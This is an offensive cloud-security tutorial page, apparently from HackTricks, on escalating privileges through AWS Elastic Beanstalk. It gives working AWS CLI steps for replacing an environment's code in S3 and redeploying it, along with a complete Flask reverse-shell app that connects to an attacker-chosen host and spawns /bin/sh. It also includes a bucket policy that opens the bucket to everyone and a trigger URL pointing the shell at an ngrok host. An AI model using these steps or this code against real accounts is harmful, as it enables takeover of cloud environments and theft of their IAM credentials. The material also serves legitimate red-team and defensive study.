AWS - Elastic Beanstalk Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Elastic Beanstalk

More info about Elastic Beanstalk in:

pageAWS - Elastic Beanstalk Enum

In order to perform sensitive actions in Beanstalk you will need to have a lot of sensitive permissions in a lot of different services. You can check for example the permissions given to arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, S3 write permissions & many others

With write permissions over the S3 bucket containing the code of the environment and permissions to rebuild the application (it's needed elasticbeanstalk:RebuildEnvironment and a few more related to S3 , EC2 and Cloudformation), you can modify the code, rebuild the app and the next time you access the app it will execute your new code, allowing the attacker to compromise the application and the IAM role credentials of it.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, and more...

The mentioned plus several S3, EC2, cloudformation ,autoscaling and elasticloadbalancing permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch.

  • Create an AWS Elastic Beanstalk application:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

If an environment is already created and you don't want to create a new one, you could just update the existent one.

  • Package your application code and dependencies into a ZIP file:

zip -r MyApp.zip .
  • Upload the ZIP file to an S3 bucket:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Create an AWS Elastic Beanstalk application version:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Deploy the application version to your AWS Elastic Beanstalk environment:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

First of all you need to create a legit Beanstalk environment with the code you would like to run in the victim following the previous steps. Potentially a simple zip containing these 2 files:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
        return jsonify('404')

@application.route("/")
def index():
        return jsonify('Welcome!')


@application.route("/get_shell")
def search():
        host=request.args.get('host')
        port=request.args.get('port')
        if host and port:
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.connect((host,int(port)))
            os.dup2(s.fileno(),0)
            os.dup2(s.fileno(),1)
            os.dup2(s.fileno(),2)
            p=subprocess.call(["/bin/sh","-i"])
        return jsonify('done')

if __name__=="__main__":
    application.run()

Once you have your own Beanstalk env running your rev shell, it's time to migrate it to the victims env. To so so you need to update the Bucket Policy of your beanstalk S3 bucket so the victim can access it (Note that this will open the Bucket to EVERYONE):

{
    "Version": "2008-10-17",
    "Statement": [
        {
            "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": [
                "s3:ListBucket",
                "s3:ListBucketVersions",
                "s3:GetObject",
                "s3:GetObjectVersion",
                "s3:*"
            ],
            "Resource": [
                "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
                "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
            ]
        },
        {
            "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
            "Effect": "Deny",
            "Principal": {
                "AWS": "*"
            },
            "Action": "s3:DeleteBucket",
            "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
        }
    ]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated